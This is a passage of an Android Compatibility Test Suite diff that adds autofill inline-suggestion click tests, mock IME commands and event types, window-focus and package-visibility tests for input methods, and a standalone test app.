+ mActivity.assertAutoFilled();
+ }
+
+ @Test
public void testDatasetAuthFilteringUsingRegex() throws Exception {
// Set service.
enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 6aff0d5..eb18e96 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -23,8 +23,11 @@
import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.Helper.getContext;
+import static android.autofillservice.cts.Timeouts.MOCK_IME_TIMEOUT_MS;
import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -45,6 +48,7 @@
import android.service.autofill.FillContext;
import android.support.test.uiautomator.Direction;
+import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.MockImeSession;
import org.junit.Test;
@@ -396,4 +400,61 @@
sReplier.getNextFillRequest();
mUiBot.waitForIdleSync();
}
+
+ @Test
+ public void testClickEventPassToIme() throws Exception {
+ testTouchEventPassToIme(/* longPress */ false);
+ }
+
+ @Test
+ public void testLongClickEventPassToIme() throws Exception {
+ testTouchEventPassToIme(/* longPress */ true);
+ }
+
+ private void testTouchEventPassToIme(boolean longPress) throws Exception {
+ final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+ assumeTrue("MockIME not available", mockImeSession != null);
+
+ // Set service.
+ enableService();
+
+ Intent intent = new Intent(mContext, DummyActivity.class);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setPresentation(createPresentation("The Username"))
+ .setInlinePresentation(longPress
+ ? createInlinePresentation("The Username", pendingIntent)
+ : createInlinePresentation("The Username"))
+ .build());
+
+ sReplier.addResponse(builder.build());
+
+ final ImeEventStream stream = mockImeSession.openEventStream();
+
+ // Trigger auto-fill.
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdleSync();
+ sReplier.getNextFillRequest();
+
+ mUiBot.assertDatasets("The Username");
+
+ if (longPress) {
+ // Long click on suggestion
+ mUiBot.longPressSuggestion("The Username");
+
+ expectEvent(stream,
+ event -> "onInlineSuggestionLongClickedEvent".equals(event.getEventName()),
+ MOCK_IME_TIMEOUT_MS);
+ } else {
+ // Click on suggestion
+ mUiBot.selectDataset("The Username");
+
+ expectEvent(stream,
+ event -> "onInlineSuggestionClickedEvent".equals(event.getEventName()),
+ MOCK_IME_TIMEOUT_MS);
+ }
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 32c927e..615dc28 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -2053,6 +2053,10 @@
private boolean isMandatoryCombinationAvailable(final int[] combination,
final MaxStreamSizes maxSizes, boolean isInput,
final MandatoryStreamCombination[] availableCombinations) {
+ boolean supportYuvReprocess = mStaticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING);
+ boolean supportOpaqueReprocess = mStaticInfo.isCapabilitySupported(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_PRIVATE_REPROCESSING);
// Static combinations to be verified can be composed of multiple entries
// that have the following layout (format, size). In case "isInput" is set,
// the first stream configuration entry will contain the input format and size
@@ -2062,6 +2066,11 @@
new ArrayList<Pair<Pair<Integer, Boolean>, Size>>(streamCount);
for (int i = 0; i < combination.length; i += 2) {
if (isInput && (i == 0)) {
+ // Skip the combination if the format is not supported for reprocessing.
+ if ((combination[i] == YUV && !supportYuvReprocess) ||
+ (combination[i] == PRIV && !supportOpaqueReprocess)) {
+ return true;
+ }
Size sz = maxSizes.getMaxInputSizeForFormat(combination[i]);
currentCombination.add(Pair.create(Pair.create(new Integer(combination[i]),
new Boolean(true)), sz));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 630b13c..b052e88 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -332,7 +332,7 @@
mWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, true);
// Launch a different activity on top.
- launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
mWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
final boolean shouldBeVisible =
@@ -479,6 +479,7 @@
.setIntentExtra(
extra -> extra.putBoolean(Components.TestActivity.EXTRA_NO_IDLE, true))
.setTargetActivity(TEST_ACTIVITY)
+ .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
.execute();
}
@@ -553,7 +554,7 @@
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
lockScreenSession.sleepDevice();
separateTestJournal();
- launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index df49664..ce0a51e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -17,6 +17,7 @@
package android.server.wm;
import static android.server.wm.ActivityManagerTestBase.launchHomeActivityNoWait;
+import static android.server.wm.BarTestUtils.assumeHasStatusBar;
import static android.server.wm.UiDeviceUtils.pressUnlockButton;
import static android.server.wm.UiDeviceUtils.pressWakeupButton;
import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
@@ -239,6 +240,7 @@
@Test
public void testInjectToStatusBar() {
// Try to inject event to status bar.
+ assumeHasStatusBar(mActivityRule);
final long downTime = SystemClock.uptimeMillis();
final MotionEvent eventHover = MotionEvent.obtain(
downTime, downTime, MotionEvent.ACTION_HOVER_MOVE, 0, 0, 0);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 389913e..c20da58 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -2245,8 +2245,15 @@
// Include stopped packages
.append(" -f 0x00000020");
} else {
+ // If new task flag isn't set the windowing mode of launcher activity will be the
+ // windowing mode of the target activity, so we need to launch launcher activity in
+ // it.
+ String amStartCmd =
+ (mWindowingMode == -1 || mNewTask)
+ ? getAmStartCmd(mLaunchingActivity)
+ : getAmStartCmd(mLaunchingActivity, mWindowingMode);
// Use launching activity to launch the target.
- commandBuilder.append(getAmStartCmd(mLaunchingActivity))
+ commandBuilder.append(amStartCmd)
.append(" -f 0x20000020");
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
index 21002a4..be66641 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -45,7 +45,10 @@
public static void assumeHasColoredStatusBar(ActivityTestRule<?> rule) {
assumeHasColoredBars();
+ assumeHasStatusBar(rule);
+ }
+ public static void assumeHasStatusBar(ActivityTestRule<?> rule) {
assumeFalse("No status bar when running in VR", isRunningInVr());
assumeTrue("Top stable inset is non-positive, no status bar.",
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
index 9b92f34..909ad0e 100644
--- a/tests/inputmethod/Android.bp
+++ b/tests/inputmethod/Android.bp
@@ -24,6 +24,7 @@
libs: ["android.test.runner"],
static_libs: [
"androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
"compatibility-device-util-axt",
"ctstestrunner-axt",
"CtsMockInputMethodLib",
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index f1ec1e0..fd2ea5d 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -48,6 +48,24 @@
<option name="run-command" value="wm dismiss-keyguard" />
</target_preparer>
+ <!--
+ A (separate) standalone test app APK is needed to test implicit app-visibility from the IME
+ process to the IME target process, because if the IME target process is directly interacting
+ with MockIme process via MockImeSession, then the system would already give the MockIme an
+ implicit app-visibility back to the test app. To fully test app-visibility scenario,
+ MockImeSession cannot be used in the process where the focused Activity is hosted.
+ -->
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <!--
+ In order to simulate the scenario where the IME client process is normally
+ installed, explicitly set false here. Otherwise, the test APP will be installed under
+ force-queryable mode, which makes the test useless.
+ -->
+ <option name="force-queryable" value="false" />
+ <option name="test-file-name" value="CtsInputMethodStandaloneTestApp.apk" />
+ </target_preparer>
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsInputMethodTestCases.apk" />
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
index 808a972..abfae95 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
@@ -38,6 +38,7 @@
Integer,
String,
CharSequence,
+ Exception,
Parcelable,
}
@@ -74,6 +75,9 @@
if (object instanceof CharSequence) {
return ReturnType.CharSequence;
}
+ if (object instanceof Exception) {
+ return ReturnType.Exception;
+ }
if (object instanceof Parcelable) {
return ReturnType.Parcelable;
}
@@ -143,6 +147,9 @@
case CharSequence:
bundle.putCharSequence("mReturnValue", getReturnCharSequenceValue());
break;
+ case Exception:
+ bundle.putSerializable("mReturnValue", getReturnExceptionValue());
+ break;
case Parcelable:
bundle.putParcelable("mReturnValue", getReturnParcelableValue());
break;
@@ -186,6 +193,9 @@
case CharSequence:
result = bundle.getCharSequence("mReturnValue");
break;
+ case Exception:
+ result = bundle.getSerializable("mReturnValue");
+ break;
case Parcelable:
result = bundle.getParcelable("mReturnValue");
break;
@@ -364,6 +374,25 @@
return (String) mReturnValue;
}
+ /**
+ * Retrieves a result that is known to be {@link Exception} or its subclasses.
+ *
+ * @param <T> {@link Exception} or its subclass.
+ * @return {@link Exception} object returned as a result of the command.
+ * @throws NullPointerException if the return value is {@code null}
+ * @throws ClassCastException if the return value is non-{@code null} object that is different
+ * from {@link Exception}
+ */
+ public <T extends Exception> T getReturnExceptionValue() {
+ if (mReturnType == ReturnType.Null) {
+ throw new NullPointerException();
+ }
+ if (mReturnType != ReturnType.Exception) {
+ throw new ClassCastException();
+ }
+ return (T) mReturnValue;
+ }
+
/**
* @return result value of this event.
* @throws NullPointerException if the return value is {@code null}
@@ -380,6 +409,12 @@
return (T) mReturnValue;
}
+ /**
+ * @return {@code true} when the result value is an {@link Exception}.
+ */
+ public boolean isExceptionReturnValue() {
+ return mReturnType == ReturnType.Exception;
+ }
/**
* @return {@code true} when the result value is {@code null}.
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 89f8631..cb68f93 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -25,6 +25,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.pm.PackageManager;
import android.content.res.Configuration;
import android.graphics.Bitmap;
import android.inputmethodservice.InputMethodService;
@@ -289,6 +290,15 @@
sendDownUpKeyEvents(keyEventCode);
return ImeEvent.RETURN_VALUE_UNAVAILABLE;
}
+ case "getApplicationInfo": {
+ final String packageName = command.getExtras().getString("packageName");
+ final int flags = command.getExtras().getInt("flags");
+ try {
+ return getPackageManager().getApplicationInfo(packageName, flags);
+ } catch (PackageManager.NameNotFoundException e) {
+ return e;
+ }
+ }
case "getDisplayId":
return getDisplay().getDisplayId();
case "verifyLayoutInflaterContext":
@@ -809,6 +819,13 @@
suggestionView -> {
Log.d(TAG, "new inline suggestion view ready");
if (suggestionView != null) {
+ suggestionView.setOnClickListener((v) -> {
+ getTracer().onInlineSuggestionClickedEvent(() -> { });
+ });
+ suggestionView.setOnLongClickListener((v) -> {
+ getTracer().onInlineSuggestionLongClickedEvent(() -> { });
+ return true;
+ });
pendingInlineSuggestions.mViews[index] = suggestionView;
}
if (pendingInlineSuggestions.mInflatedViewCount.incrementAndGet()
@@ -1068,5 +1085,15 @@
return recordEventInternal("onInlineSuggestionsResponse", supplier::getAsBoolean,
arguments);
}
+
+ void onInlineSuggestionClickedEvent(@NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ recordEventInternal("onInlineSuggestionClickedEvent", runnable, arguments);
+ }
+
+ void onInlineSuggestionLongClickedEvent(@NonNull Runnable runnable) {
+ final Bundle arguments = new Bundle();
+ recordEventInternal("onInlineSuggestionLongClickedEvent", runnable, arguments);
+ }
}
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index b495e36..9a5eba8 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -977,6 +977,27 @@
return callCommandInternal("sendDownUpKeyEvents", params);
}
+ /**
+ * Lets {@link MockIme} call
+ * {@link android.content.pm.PackageManager#getApplicationInfo(String, int)} with the given
+ * {@code packageName} and {@code flags}.
+ *
+ * @param packageName the package name to be passed to
+ * {@link android.content.pm.PackageManager#getApplicationInfo(String, int)}.
+ * @param flags the flags to be passed to
+ * {@link android.content.pm.PackageManager#getApplicationInfo(String, int)}.
+ * @return {@link ImeCommand} object that can be passed to
+ * {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
+ * wait until this event is handled by {@link MockIme}.
+ */
+ @NonNull
+ public ImeCommand callGetApplicationInfo(@NonNull String packageName, int flags) {
+ final Bundle params = new Bundle();
+ params.putString("packageName", packageName);
+ params.putInt("flags", flags);
+ return callCommandInternal("getApplicationInfo", params);
+ }
+
@NonNull
public ImeCommand callGetDisplayId() {
final Bundle params = new Bundle();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
index 23f32ce..fc724f8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
@@ -21,8 +21,10 @@
import static android.view.View.VISIBLE;
import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
@@ -30,14 +32,19 @@
import android.app.Instrumentation;
import android.content.Context;
import android.content.pm.PackageManager;
+import android.inputmethodservice.InputMethodService;
+import android.os.IBinder;
+import android.os.Process;
import android.os.SystemClock;
import android.text.TextUtils;
+import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputMethodManager;
import android.view.inputmethod.cts.util.DisableScreenDozeRule;
import android.view.inputmethod.cts.util.EndToEndImeTestBase;
import android.view.inputmethod.cts.util.TestActivity;
import android.view.inputmethod.cts.util.TestUtils;
import android.view.inputmethod.cts.util.UnlockScreenRule;
+import android.view.inputmethod.cts.util.WindowFocusStealer;
import android.widget.EditText;
import android.widget.LinearLayout;
@@ -140,6 +147,79 @@
}
}
+ /**
+ * Test case for Bug 158624922 and Bug 152373385.
+ *
+ * Test {@link android.inputmethodservice.InputMethodService#onStartInput(EditorInfo, boolean)}
+ * and {@link InputMethodService#onFinishInput()} won't be called and the input connection
+ * remains active, even when a non-IME focusable window hosted by a different process
+ * temporarily becomes the focused window.
+ */
+ @Test
+ public void testNoStartNewInputWhileOtherProcessHasWindowFocus() throws Exception {
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ try (MockImeSession imeSession = MockImeSession.create(
+ instrumentation.getContext(),
+ instrumentation.getUiAutomation(),
+ new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ final String marker = InputMethodStartInputLifecycleTest.class.getName() + "/"
+ + SystemClock.elapsedRealtimeNanos();
+ final EditText editText = launchTestActivity(marker);
+ TestUtils.runOnMainSync(() -> editText.requestFocus());
+
+ // Wait until the MockIme gets bound to the TestActivity.
+ expectBindInput(stream, Process.myPid(), TIMEOUT);
+
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+ // Get app window token
+ final IBinder appWindowToken = TestUtils.getOnMainSync(
+ () -> editText.getApplicationWindowToken());
+
+ try (WindowFocusStealer focusStealer =
+ WindowFocusStealer.connect(instrumentation.getTargetContext(), TIMEOUT)) {
+
+ focusStealer.stealWindowFocus(appWindowToken, TIMEOUT);
+
+ // Wait until the edit text loses window focus.
+ TestUtils.waitOnMainUntil(() -> !editText.hasWindowFocus(), TIMEOUT);
+ }
+ // Wait until the edit text gains window focus again.
+ TestUtils.waitOnMainUntil(() -> editText.hasWindowFocus(), TIMEOUT);
+
+ // Not expect the input connection will be started or finished even gaining non-IME
+ // focusable window focus.
+ notExpectEvent(stream, event -> "onFinishInput".equals(event.getEventName())
+ || "onStartInput".equals(event.getEventName()), TIMEOUT);
+
+ // Verify the input connection of the EditText is still active and can accept text.
+ final InputMethodManager imm = editText.getContext().getSystemService(
+ InputMethodManager.class);
+ assertTrue(TestUtils.getOnMainSync(() -> imm.isActive(editText)));
+ assertTrue(TestUtils.getOnMainSync(() -> imm.isAcceptingText()));
+ }
+ }
+
+ private EditText launchTestActivity(String marker) {
+ final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+ TestActivity.startSync(activity-> {
+ final LinearLayout layout = new LinearLayout(activity);
+ layout.setOrientation(LinearLayout.VERTICAL);
+
+ final EditText editText = new EditText(activity);
+ editText.setPrivateImeOptions(marker);
+ editText.setHint("editText");
+ editText.requestFocus();
+ editTextRef.set(editText);
+
+ layout.addView(editText);
+ return layout;
+ });
+ return editTextRef.get();
+ }
+
private static Predicate<ImeEvent> onFinishInputMatcher() {
return event -> TextUtils.equals("onFinishInput", event.getEventName());
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
new file mode 100644
index 0000000..7705c63
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
+import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.UnlockScreenRule;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import com.android.cts.mockime.ImeCommand;
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.security.InvalidParameterException;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public final class PackageVisibilityTest extends EndToEndImeTestBase {
+ static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+
+ @Rule
+ public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
+
+ private static final ComponentName TEST_ACTIVITY = new ComponentName(
+ "android.view.inputmethod.ctstestapp",
+ "android.view.inputmethod.ctstestapp.MainActivity");
+
+ private static final Uri TEST_ACTIVITY_URI =
+ Uri.parse("https://example.com/android/view/inputmethod/ctstestapp");
+
+ private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
+ "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+
+ private static final String TEST_MARKER_PREFIX =
+ "android.view.inputmethod.cts.PackageVisibilityTest";
+
+ private static String getTestMarker() {
+ return TEST_MARKER_PREFIX + "/" + SystemClock.elapsedRealtimeNanos();
+ }
+
+ @NonNull
+ private static Uri formatStringIntentParam(@NonNull Uri uri, @NonNull String key,
+ @Nullable String value) {
+ if (value == null) {
+ return uri;
+ }
+ return uri.buildUpon().appendQueryParameter(key, value).build();
+ }
+
+ @NonNull
+ private static String formatStringIntentParam(@NonNull String key, @Nullable String value) {
+ if (key.matches("[ \"']")) {
+ throw new InvalidParameterException("Unsupported character(s) in key=" + key);
+ }
+ if (value.matches("[ \"']")) {
+ throw new InvalidParameterException("Unsupported character(s) in value=" + value);
+ }
+ return value != null ? String.format(" --es %s %s", key, value) : "";
+ }
+
+ /**
+ * Launch the standalone version of the test {@link android.app.Activity} then wait for
+ * completions of launch.
+ *
+ * <p>Note: this method does not use
+ * {@link android.app.Instrumentation#startActivitySync(Intent)} because it does not work when
+ * both the calling process and the target process run under the instant app mode. Instead this
+ * method relies on adb command {@code adb shell am start} to work around that limitation.</p>
+ *
+ * @param instant {@code true} if the caller and the target is installed as instant apps.
+ * @param privateImeOptions If not {@code null},
+ * {@link android.view.inputmethod.EditorInfo#privateImeOptions} will
+ * in the test {@link android.app.Activity} will be set to this value.
+ * @param timeout timeout in milliseconds.
+ */
+ private void launchTestActivity(boolean instant, @Nullable String privateImeOptions,
+ long timeout) {
+ final String command;
+ if (instant) {
+ final Uri uri = formatStringIntentParam(
+ TEST_ACTIVITY_URI, EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
+ command = String.format("am start -a %s -c %s %s",
+ Intent.ACTION_VIEW, Intent.CATEGORY_BROWSABLE, uri.toString());
+ } else {
+ command = String.format("am start -n %s",
+ TEST_ACTIVITY.flattenToShortString())
+ + formatStringIntentParam(EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
+ }
+ runShellCommand(command);
+ UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
+ .wait(Until.hasObject(By.pkg(TEST_ACTIVITY.getPackageName()).depth(0)), timeout);
+ }
+
+ @AppModeFull
+ @Test
+ public void testTargetPackageIsVisibleFromImeFull() throws Exception {
+ testTargetPackageIsVisibleFromIme(false /* instant */);
+ }
+
+ @AppModeInstant
+ @Test
+ public void testTargetPackageIsVisibleFromImeInstant() throws Exception {
+ // We need to explicitly check this condition in case tests are executed with atest command.
+ // See Bug 158617529 for details.
+ assumeTrue("This test should run when and only under the instant app mode.",
+ InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+ .isInstantApp());
+ testTargetPackageIsVisibleFromIme(true /* instant */);
+ }
+
+ private void testTargetPackageIsVisibleFromIme(boolean instant) throws Exception {
+ try (MockImeSession imeSession = MockImeSession.create(
+ InstrumentationRegistry.getInstrumentation().getContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ final String marker = getTestMarker();
+ launchTestActivity(instant, marker, TIMEOUT);
+
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+ final ImeCommand command = imeSession.callGetApplicationInfo(
+ TEST_ACTIVITY.getPackageName(), PackageManager.GET_META_DATA);
+ final ImeEvent event = expectCommand(stream, command, TIMEOUT);
+
+ if (event.isNullReturnValue()) {
+ fail("getApplicationInfo() returned null.");
+ }
+ if (event.isExceptionReturnValue()) {
+ final Exception exception = event.getReturnExceptionValue();
+ fail(exception.toString());
+ }
+ final ApplicationInfo applicationInfoFromIme = event.getReturnParcelableValue();
+ assertEquals(TEST_ACTIVITY.getPackageName(), applicationInfoFromIme.packageName);
+ }
+ }
+}
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
new file mode 100644
index 0000000..1d55077
--- /dev/null
+++ b/tests/inputmethod/testapp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsInputMethodStandaloneTestApp",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ compile_multilib: "both",
+ static_libs: [
+ "androidx.annotation_annotation",
+ ],
+ srcs: [
+ "src/**/*.java",
+ "src/**/I*.aidl",
+ ],
+}
diff --git a/tests/inputmethod/testapp/AndroidManifest.xml b/tests/inputmethod/testapp/AndroidManifest.xml
new file mode 100644
index 0000000..0f47420
--- /dev/null
+++ b/tests/inputmethod/testapp/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.view.inputmethod.ctstestapp"
+ android:targetSandboxVersion="2">
+
+ <application
+ android:label="CtsInputMethodStandaloneTestApp"
+ android:multiArch="true"
+ android:supportsRtl="true">
+ <activity
+ android:name=".MainActivity"
+ android:exported="true"
+ android:label="CtsInputMethodStandaloneTestActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.VIEW" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.BROWSABLE" />
+ <data android:scheme="https" />
+ <data android:host="example.com" />
+ <data android:path="/android/view/inputmethod/ctstestapp" />
+ </intent-filter>
+ </activity>
+ </application>
+
+</manifest>
diff --git a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
new file mode 100644
